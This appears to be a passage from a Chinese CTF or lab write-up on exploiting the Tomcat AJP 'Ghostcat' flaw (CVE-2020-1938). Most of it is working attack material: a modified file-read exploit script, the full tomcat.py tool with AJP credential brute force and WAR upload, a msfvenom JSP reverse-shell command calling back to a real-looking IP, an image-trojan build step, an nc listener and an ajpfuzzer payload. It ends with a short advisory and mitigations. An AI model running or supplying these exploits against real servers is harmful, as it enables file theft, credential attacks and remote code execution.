		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/whalwl/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7Ow1MAe1-1661626343894)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.5ummplfbsdg0.jpg?raw=true)]

0b100 getshell(一)

  • 反弹shell一(推荐):
留言获取

  • 反弹shell二:
# msf生成,具体生成下文已给出
msfvenom -p java/jsp_shell_reverse_tcp LHOST=43.138.193.108 LPORT=4445 R >shell.jsp
留言获取

  • 构造图片马后上传
# Windows平台:"合并.bat"
copy img.jpg/b + shell.jsp/a shell.jpg

# 传入的图片马
http://106.15.50.112:18080/whalwl/upload/2022-000047-000027.jpg

flag{a3f961e96e9706f21cf44a8b91822f94}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OsurvS51-1661626343895)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.79igdxk5c2c0.jpg?raw=true)]

  • 文件包含
# 远程服务器监听端口,此处使用nc
nc -lvvnp 4444

# 基于前面修改的代码继续修改
# CNVD-2020-10487-Tomcat-Ajp-lfi.py 的 296行:
# _,data = t.perform_request('/whalwl/asdf',attributes=[
# 修改为
# _,data = t.perform_request('/whalwl/asdf.jsp',attributes=[

# 利用脚本实现文件包含以读取文件
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 106.15.50.112 -p 18009 -f upload/2022-000047-000027.jpg

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fABYYl0w-1661626343895)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.73ncjhj5qco0.jpg?raw=true)]

0b101 getshell(二)

# 更简单,不用总修改代码

# 读 /WEB-INF/web.xml
python3 tomcat.py --port 18009 read_file --webapp=whalwl /WEB-INF/web.xml 106.15.50.112

# 读图片马,反弹shell
python3 tomcat.py --port 18009 read_file --webapp=whalwl /upload/2022-000047-000027.jpg 106.15.50.11

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AO9TUikC-1661626343895)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.7e3hb79mylk0.jpg?raw=true)]

#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

from base64 import b64encode
import socket
import argparse
import logging
import re
import os
import logging
import sys
try:
	from urllib import unquote
except ImportError:
	from urllib.parse import unquote

def setup_logger():
	logger = logging.getLogger('meow')
	handler = logging.StreamHandler()
	logger.addHandler(handler)
	logger.setLevel(logging.DEBUG)

	return logger

logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False

	fr.attributes = []

	return fr


class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb")


	def test_password(self, user, password):
		res = False
		stop = False
		creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')
		self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + creds
		while not stop:
			logger.debug("testing %s:%s" % (user, password))
			responses = self.forward_request.send_and_receive(self.socket, self.stream)
			snd_hdrs_res = responses[0]
			if snd_hdrs_res.http_status_code == 404:
				raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
			elif snd_hdrs_res.http_status_code == 302:
				self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
				logger.info("Redirecting to %s" % self.req_uri)
				self.forward_request.req_uri = self.req_uri
			elif snd_hdrs_res.http_status_code == 200:
				logger.info("Found valid credz: %s:%s" % (user, password))
				res = True
				stop = True
				if 'Set-Cookie' in snd_hdrs_res.response_headers:
					logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
			elif snd_hdrs_res.http_status_code == 403:
				logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password))
				stop = True
			elif snd_hdrs_res.http_status_code == 401:
				stop = True

		return res

	def start_bruteforce(self, users, passwords, req_uri, autostop):
		logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)
 	 
		f_users = open(users, "r")
		f_passwords = open(passwords, "r")

		valid_credz = []
		try:
			for user in f_users:
				f_passwords.seek(0, 0)
				for password in f_passwords:
					if autostop and len(valid_credz) > 0:
						self.socket.close()
						return valid_credz

					user = user.rstrip('\n')
					password = password.rstrip('\n')
					if self.test_password(user, password):
						valid_credz.append((user, password))
		except NotFoundException as e:
			logger.fatal(e.message)
		finally:
			logger.debug("Closing socket...")
			self.socket.close()
			return valid_credz


	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + creds

		for h in headers:
			self.forward_request.request_headers[h] = headers[h]

		for a in attributes:
			self.forward_request.attributes.append(a)

		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None

		snd_hdrs_res = responses[0]

		data_res = responses[1:-1]
		if len(data_res) == 0:
			logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

		return snd_hdrs_res, data_res

	def upload(self, filename, user, password, old_version, headers={}):
		deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
		with open(filename, "rb") as f_input:
			with open("/tmp/request", "w+b") as f:
				s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(filename)
				s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
				f.write(s_form_header.encode('utf-8'))
				f.write(f_input.read())
				f.write(s_form_footer.encode('utf-8'))

		data_len = os.path.getsize("/tmp/request")

		headers = {
				"SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
				"SC_REQ_CONTENT_LENGTH": "%d" % data_len,
				"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
				"Origin": "http://%s" % (self.target_host),
		}
		if obj_cookie is not None:
			headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

		attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
		if old_version == False:
			attributes.append({"name": "query_string", "value": deploy_csrf_token})
		old_apps = self.list_installed_applications(user, password, old_version)
		r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes)

		with open("/tmp/request", "rb") as f:
			br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
			br.send_and_receive(self.socket, self.stream)

		r = AjpResponse.receive(self.stream)
		if r.prefix_code == AjpResponse.END_RESPONSE:
			logger.error('Upload failed')

		while r.prefix_code != AjpResponse.END_RESPONSE:
			r = AjpResponse.receive(self.stream)
		logger.debug('Upload seems normal. Checking...')
		new_apps = self.list_installed_applications(user, password, old_version)
		if len(new_apps) == len(old_apps) + 1:
			logger.info('Upload success!')
		else:
			logger.error('Upload failed')

	def get_error_page(self):
		return self.perform_request("/blablablablabla")

	def get_version(self):
		hdrs, data = self.get_error_page()
		for d in data:
			s = re.findall('(Apache Tomcat/[0-9\.]+)', d.data.decode('utf-8'))
			if len(s) > 0:
				return s[0]

	def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
		# first we request the manager page to get the CSRF token
		hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
		deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata]))
		if old_version == False:
			if len(deploy_csrf_token) == 0:
				logger.critical("Failed to get CSRF token. Check the credentials")
				return

			logger.debug('CSRF token = %s' % deploy_csrf_token[0])
		obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8'))
		if obj is not None:
			return deploy_csrf_token[0], obj
		return deploy_csrf_token[0], None


	def list_installed_applications(self, user, password, old_version, headers={}):
		deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
		headers = {
				"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
				"SC_REQ_CONTENT_LENGTH": "0",
				"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
				"Origin": "http://%s" % (self.target_host),
		}
		if obj_cookie is not None:
			headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

		attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
			{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
		if old_version == False:
			attributes.append({
			"name": "query_string", "value": "%s" % deploy_csrf_token})
		hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes)
		found = []
		for d in data:
			im = re.findall('<small><a href="([^";]*)">', d.data.decode('utf8'))
			for app in im:
				found.append(unquote(app))
		return found


	def undeploy(self, path, user, password, old_version, headers={}):
		deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
		path_app = "path=%s" % path
		headers = {
				"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
				"SC_REQ_CONTENT_LENGTH": "0",
				"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
				"Origin": "http://%s" % (self.target_host),
		}
		if obj_cookie is not None:
			headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

		attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
			{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
		if old_version == False:
			attributes.append({
			"name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
		r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes)
		r = AjpResponse.receive(self.stream)
		if r.prefix_code == AjpResponse.END_RESPONSE:
			logger.error('Undeploy failed')

		# Check the successful message
		found = False
		regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*'+path+')\s*<\/pre><\/td>'
		while r.prefix_code != AjpResponse.END_RESPONSE:
			r = AjpResponse.receive(self.stream)
			if r.prefix_code == 3:
				f = re.findall(regex, r.data.decode('utf-8'))
				if len(f) > 0:
					found = True
		if found:
			logger.info('Undeploy succeed')
		else:
			logger.error('Undeploy failed')


if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	subparsers = parser.add_subparsers()

	parser.add_argument("target", type=str, help="Hostname or IP to attack")
	parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)")
	parser.add_argument('-v', '--verbose', action='count', default=1)

	parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication')
	parser_bf.set_defaults(which='bf')
	parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack")
	parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True)
	parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True)
	parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz")

#	parser_req = subparsers.add_parser('req', help='Request resource')
#	parser_req.set_defaults(which='req')
#	parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys())

	parser_upload = subparsers.add_parser('upload', help='Upload WAR')
	parser_upload.set_defaults(which='upload')
	parser_upload.add_argument("filename", type=str, help="WAR file to upload")
	parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
	parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
	parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
	parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

	parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR')
	parser_upload.set_defaults(which='undeploy')
	parser_upload.add_argument("path", type=str, help="Installed WAR path")
	parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
	parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
	parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
	parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

	parser_version = subparsers.add_parser('version', help='Get version')
	parser_version.set_defaults(which='version')
	parser_upload = subparsers.add_parser('list', help='List installed applications')
	parser_upload.set_defaults(which='list')
	parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
	parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
	parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
	parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

	read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938')
	read_file.set_defaults(which='read_file')
	read_file.add_argument("file_path", type=str, help="File to read")
	read_file.add_argument("-w", "--webapp", type=str, default="", help="webapp potential params: 'manager', 'host-manager', 'ROOT' or 'examples'")
	read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)")

	args = parser.parse_args()


	if args.verbose == 1:
		logger.setLevel(logging.INFO)
	else:
		logger.setLevel(logging.DEBUG)

	bf = Tomcat(args.target, args.port)
	if args.which == 'bf':
		bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop)
#	elif args.which == 'req':
#		print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password)
	elif args.which == 'upload':
		bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)
	elif args.which == 'version':
		print(bf.get_version())
	elif args.which == 'list':
		apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers)
		logger.info("Installed applications:")
		for app in apps:
			logger.info('- ' + app)
	elif args.which == 'undeploy':
		bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers)
	elif args.which == 'read_file':
		attributes = [
			{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
			{"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},
			{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
		]
		hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
		output = sys.stdout
		if args.output:
			output = open(args.output, "wb")
		for d in data:
			if args.output:
				output.write(d.data)
			else:
				try:
				    output.write(d.data.decode('utf8'))
				except UnicodeDecodeError:
				    output.write(repr(d.data))

		if args.output:
			output.close()

0b110 getshell(三)

  • 下载 AJP 包构造器 ajpfuzzer :wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar
  • 运行 ajpfuzzer:java -jar ajpfuzzer_v0.6.jar
  • 连接目标靶机端口:connect 106.15.50.112 18009
  • 执行如下命令构造并发送AJP包,其中/upload/2022-000047-000027.jpg为木马路径,其中/whalwl/11.jsp可以换为该web项目下任意目录中没有的jsp文件,如此tomcat才会去调用DefaultServlet
forwardrequest 2 "HTTP/1.1" "/whalwl/11.jsp" 127.0.0.1 127.0.0.1 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/upload/2022-000047-000027.jpg","javax.servlet.include.servlet_path:/"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VFAneHbT-1661626343896)(https://git.poker/0xtlu/blogsPicture/blob/main/20220828/tumeiimage.725zb7wlzo00.jpg?raw=true)]

0b111参考文档

  • 参考1:https://www.jianshu.com/p/440bc2662fc3
  • 参考4:https://mp.weixin.qq.com/s?__biz=MzUyNDk0MDQ3OQ==&mid=2247485009&idx=1&sn=5f619c27ec994949f5fa69d41d2dee05&chksm=fa24e381cd536a972db2cc5a5fc09be33a7833f1caa6440bb5979d3d7ea052384645fbd2b62c&mpshare=1&scene=23&srcid=&sharer_sharetime=1584439554350&sharer_shareid=1f92b9e8670fffeb7eea157894e3536a#rd
  • 参考6:https://zhzhdoai.github.io/2020/02/26/Tomcat-Ajp%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%88%A9%E7%94%A8-CVE-2020-1938/
  • 参考8:https://blog.csdn.net/Kris__zhang/article/details/106232024

0o02 CVE-2020-1938

  • 漏洞概述:2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 下的任意文件,如 WEB-INF/web.xml。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。
  • 影响版本:Tomcat 6.x,7.x < 7.0.100,8.x <8.5.51,9.x < 9.0.31。
  • 漏洞防护:① 更新至最新版本;② 禁用 AJP 协议,注释或删除 /conf/server.xml<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" /> ;③ 配置 secret 以设置 AJP 协议的认证凭证,如 <Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>。注:YOUR_TOMCAT_AJP_SECRET 需设置更难猜解。
  • 漏洞解析:https://weread.qq.com/web/reader/c8732a70726fa058c87154bk76d325c028076dc611d6d8c
  • 参考文章:https://www.chaitin.cn/zh/ghostcat
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值